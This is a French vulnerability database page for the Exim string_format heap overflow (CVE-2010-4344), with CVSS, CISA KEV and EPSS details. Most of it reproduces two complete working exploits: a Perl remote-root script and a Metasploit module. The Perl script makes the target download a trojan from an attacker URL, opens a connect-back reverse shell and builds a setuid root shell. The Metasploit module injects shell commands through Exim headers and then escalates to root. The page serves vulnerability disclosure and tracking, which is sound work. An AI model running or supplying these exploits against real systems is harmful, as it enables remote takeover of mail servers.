Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-787 |
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Exim Heap-Based Buffer Overflow Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-03-24 23h00 +00:00
Action attendue : 2022-04-14 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 15725
Date de publication : 2010-12-10 23h00 +00:00
Auteur : kingcope
EDB Vérifié : Yes
#Exim 4.63 (RedHat/Centos/Debian) Remote Root Exploit by Kingcope
#Modified perl version of metasploit module
=for comment
use this connect back shell as "trojanurl" and be sure to setup a netcat,
---snip---
$system = '/bin/sh';
$ARGC=@ARGV;
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
open FILE, ">/var/spool/exim4/s.c";
print FILE qq{
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}
};
close FILE;
system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c");
open FILE, ">/tmp/e.conf";
print FILE "spool_directory = \${run{/bin/chown root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 /var/spool/exim4/s}}";
close FILE;
system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");
system("uname -a;");
system("/var/spool/exim4/s");
system($system);
---snip---
=cut
use IO::Socket;
if ($#ARGV ne 3) {
print "./eximxpl <host/ip> <trojanurl> <yourip> <yourport>\n";
print "example: ./eximxpl utoronto.edu http://www.h4x.net/shell.txt 3.1.33.7 443\n";
exit;
}
$|=1;
$trojan = $ARGV[1];
$myip = $ARGV[2];
$myport = $ARGV[3];
$helohost = "abcde.com";
$max_msg = 52428800;
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "25",
Proto => 'tcp');
while(<$sock>) {
print;
if ($_ =~ /220 /) { last;}
}
print $sock "EHLO $helohost\r\n";
while(<$sock>) {
print;
if ($_ =~ /250-SIZE (\d+)/) {
$max_msg = $1;
print "Set size to $max_msg !\n";
}
if ($_ =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/) {
$revdns = $1;
$saddr = $2;
}
if ($_ =~ /250 /) { last;}
}
if ($revdns eq $helohost) {
$vv = "";
} else {
$vv = $revdns. " ";
}
$vv .= "(" . $helohost . ")";
$from = "root\@local.com";
$to = "postmaster\@localhost";
$msg_len = $max_msg + 1024*256;
$logbuffer_size = 8192;
$logbuffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <$from> H=$vv [$saddr]: message too big: read=$msg_len max=$max_msg\n";
$logbuffer .= "Envelope-from: <$from>\nEnvelope-to: <$to>\n";
$filler = "V" x (8 * 16);
$logbuffer_size -= 3;
for ($k=0;$k<60;$k++) {
if (length($logbuffer) >= $logbuffer_size) {last;}
$hdr = sprintf("Header%04d: %s\n", $k, $filler);
$newlen = length($logbuffer) + length($hdr);
if ($newlen > $logbuffer_size) {
$newlen -= $logbuffer_size;
$off = length($hdr) - $newlen - 2 - 1;
$hdr = substr($hdr, 0, $off);
$hdr .= "\n";
}
$hdrs .= $hdr;
$logbuffer .= " " . $hdr;
}
$hdrx = "HeaderX: ";
$k2 = 3;
for ($k=1;$k<=200;$k++) {
if ($k2 > 12) {
$k2 = 3;
}
# $hdrx .= "\${run{/bin/sh -c 'exec /bin/sh -i <&$k2 >&0 2>&0'}} ";
$hdrx .= "\${run{/bin/sh -c \"exec /bin/sh -c 'wget $trojan -O /tmp/c.pl;perl /tmp/c.pl $myip $myport; sleep 10000000'\"}} ";
$k2++;
}
$v = "A" x 255 . "\n";
$body = "";
while (length($body) < $msg_len) {
$body .= $v;
}
$body = substr($body, 0, $msg_len);
print $sock "MAIL FROM: <$from>\r\n";
$v = <$sock>;
print $v;
print $sock "RCPT TO: <$to>\r\n";
$v = <$sock>;
print $v;
print $sock "DATA\r\n";
$v = <$sock>;
print $v;
print "Sending large buffer, please wait...\n";
print $sock $hdrs;
print $sock $hdrx . "\n";
print $sock $body;
print $sock "\r\n.\r\n";
$v = <$sock>;
print $v;
print $sock "MAIL FROM: <$from>\r\n";
$v = <$sock>;
print $v;
print $sock "RCPT TO: <$to>\r\n";
while(1){};
Exploit Database EDB-ID : 16925
Date de publication : 2010-12-15 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: exim4_string_format.rb 11352 2010-12-16 17:30:24Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Smtp
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow',
'Description' => %q{
This module exploits a heap buffer overflow within versions of Exim prior to
version 4.69. By sending a specially crafted message, an attacker can corrupt the
heap and execute arbitrary code with the privileges of the Exim daemon.
The root cause is that no check is made to ensure that the buffer is not full
prior to handling '%s' format specifiers within the 'string_vformat' function.
In order to trigger this issue, we get our message rejected by sending a message
that is too large. This will call into log_write to log rejection headers (which
is a default configuration setting). After filling the buffer, a long header
string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
FROM' command. By sending a second message, the string we sent will be evaluated
with 'expand_string' and arbitrary shell commands can be executed.
It is likely that this issue could also be exploited using other techniques such
as targeting in-band heap management structures, or perhaps even function pointers
stored in the heap. However, these techniques would likely be far more platform
specific, more complicated, and less reliable.
This bug was original found and reported in December 2008, but was not
properly handled as a security issue. Therefore, there was a 2 year lag time
between when the issue was fixed and when it was discovered being exploited
in the wild. At that point, the issue was assigned a CVE and began being
addressed by downstream vendors.
An additional vulnerability, CVE-2010-4345, was also used in the attack that
led to the discovery of danger of this bug. This bug allows a local user to
gain root privileges from the Exim user account. If the Perl interpreter is
found on the remote system, this module will automatically exploit the
secondary bug as well to get root.
},
'Author' => [ 'jduck', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11352 $',
'References' =>
[
[ 'CVE', '2010-4344' ],
[ 'OSVDB', '69685' ],
[ 'BID', '45308' ],
[ 'CVE', '2010-4345' ],
#[ 'OSVDB', '' ],
[ 'BID', '45341' ],
[ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ],
[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 8192, # much more in reality, but w/e
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { } ],
],
# Originally discovered/reported Dec 2 2008
'DisclosureDate' => 'Dec 7 2010', # as an actual security bug
'DefaultTarget' => 0))
register_options(
[
OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
], self.class)
register_advanced_options(
[
OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
], self.class)
end
def exploit
#
# Connect and grab the banner
#
ehlo = datastore['EHLO_NAME']
ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"
print_status("Connecting to #{rhost}:#{rport} ...")
connect
print_status("Server: #{self.banner.strip}")
if self.banner !~ /Exim /
raise RuntimeError, "The target server is not running Exim!"
end
if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
raise RuntimeError, "Warning: This version of Exim is not exploitable"
end
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp.each_line do |line|
print_status("EHLO: #{line.strip}")
end
#
# Determine the maximum message size
#
max_msg = 52428800
if ehlo_resp.to_s =~ /250-SIZE (\d+)/
max_msg = $1.to_i
end
#
# Determine what hostname the server sees
#
saddr = nil
revdns = nil
if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
revdns = $1
saddr = $2
end
source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
print_status("Determined our hostname is #{revdns} and IP address is #{source}")
#
# Initiate the message
#
from = datastore['MAILFROM']
to = datastore['MAILTO']
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
resp ||= 'no response'
msg = "MAIL: #{resp.strip}"
if not resp or resp[0,3] != '250'
raise RuntimeError, msg
else
print_status(msg)
end
resp = raw_send_recv("RCPT TO: #{to}\r\n")
resp ||= 'no response'
msg = "RCPT: #{resp.strip}"
if not resp or resp[0,3] != '250'
raise RuntimeError, msg
else
print_status(msg)
end
resp = raw_send_recv("DATA\r\n")
resp ||= 'no response'
msg = "DATA: #{resp.strip}"
if not resp or resp[0,3] != '354'
raise RuntimeError, msg
else
print_status(msg)
end
#
# Calculate the headers
#
msg_len = max_msg + (1024*256) # just for good measure
log_buffer_size = 8192
host_part = "H="
host_part << revdns << " " if revdns != ehlo
host_part << "(#{ehlo})"
# The initial headers will fill up the 'log_buffer' variable in 'log_write' function
print_status("Constructing initial headers ...")
log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "
log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"
log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"
# We want 2 bytes left, so we subtract from log_buffer_size here
log_buffer_size -= 3 # account for the nul termination too
# Now, " " + hdrline for each header
hdrs = []
while log_buffer.length < log_buffer_size
header_name = rand_text_alpha(10).capitalize
filler = rand_text_alphanumeric(8 * 16)
hdr = "#{header_name}: #{filler}\n"
one = (2 + hdr.length)
two = 2 * one
left = log_buffer_size - log_buffer.length
if left < two and left > one
left -= 4 # the two double spaces
first = left / 2
hdr = hdr.slice(0, first - 1) + "\n"
hdrs << hdr
log_buffer << " " << hdr
second = left - first
header_name = rand_text_alpha(10).capitalize
filler = rand_text_alphanumeric(8 * 16)
hdr = "#{header_name}: #{filler}\n"
hdr = hdr.slice(0, second - 1) + "\n"
end
hdrs << hdr
log_buffer << " " << hdr
end
hdrs1 = hdrs.join
# This header will smash various heap stuff, hopefully including the ACL
header_name = Rex::Text.rand_text_alpha(7).capitalize
print_status("Constructing HeaderX ...")
hdrx = "#{header_name}: "
1.upto(50) { |a|
3.upto(12) { |b|
hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
}
}
# In order to trigger the overflow, we must get our message rejected.
# To do so, we send a message that is larger than the maximum.
print_status("Constructing body ...")
body = ''
fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384
while(body.length < msg_len)
body << fill
end
body = body[0, msg_len]
print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")
sock.put hdrs1
sock.put hdrx
sock.put "\r\n"
sock.put body
print_status("Ending first message.")
buf = raw_send_recv("\r\n.\r\n")
# Should be: "552 Message size exceeds maximum permitted\r\n"
print_status("Result: #{buf.inspect}") if buf
print_status("Sending second message ...")
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
# Should be: "sh-x.x$ " !!
print_status("MAIL result: #{buf.inspect}") if buf
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
# Should be: "sh: RCPT: command not found\n"
if buf
print_status("RCPT result: #{buf.inspect}")
if buf !~ /RCPT/
raise RuntimeError, 'Something went wrong, perhaps this host is patched?'
end
end
# Clear pending output from the socket
sock.get_once(-1, 1.0)
sock.put("source /etc/profile >/dev/null 2>&1\n")
sock.get_once(-1, 2.0)
resp = ''
if not datastore['SkipEscalation']
print_status("Looking for Perl to facilitate escalation...")
# Check for Perl as a way to escalate our payload
sock.put("perl -V\n")
select(nil, nil, nil, 3.0)
resp = sock.get_once(-1, 10.0)
end
if resp !~ /Summary of my perl/
print_status("Should have a shell now, sending payload...")
buf = raw_send_recv("\n" + payload.encoded + "\n\n")
if buf
if buf =~ /554 SMTP synchronization error/
print_error("This target may be patched: #{buf.strip}")
else
print_status("Payload result: #{buf.inspect}")
end
end
else
print_status("Perl binary detected, attempt to escalate...")
token = Rex::Text.rand_text_alpha(8)
# Flush the output from the shell
sock.get_once(-1, 0.1)
# Find the perl interpreter path
sock.put("which perl;echo #{token}\n")
buff = ""
cnt =
while not buff.index(token)
res = sock.get_once(-1, 0.25)
buff << res if res
end
perl_path = buff.gsub(token, "").gsub(/\/perl.*/, "/perl").strip
print_status("Using Perl interpreter at #{perl_path}...")
temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
temp_eof = Rex::Text.rand_text_alpha(8)
print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")
data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")
data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")
print_status("Attempting to execute payload as root...")
sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
end
# Give some time for the payload to be consumed
select(nil, nil, nil, 4)
handler
disconnect
end
end
Products Mentioned
Configuraton 0
Exim>>Exim >> Version To (excluding) 4.70
Configuraton 0
Opensuse>>Opensuse >> Version 11.1
Opensuse>>Opensuse >> Version 11.2
Opensuse>>Opensuse >> Version 11.3
Configuraton 0
Debian>>Debian_linux >> Version 5.0
Configuraton 0
Canonical>>Ubuntu_linux >> Version 6.06
Canonical>>Ubuntu_linux >> Version 8.04
Canonical>>Ubuntu_linux >> Version 9.10
Références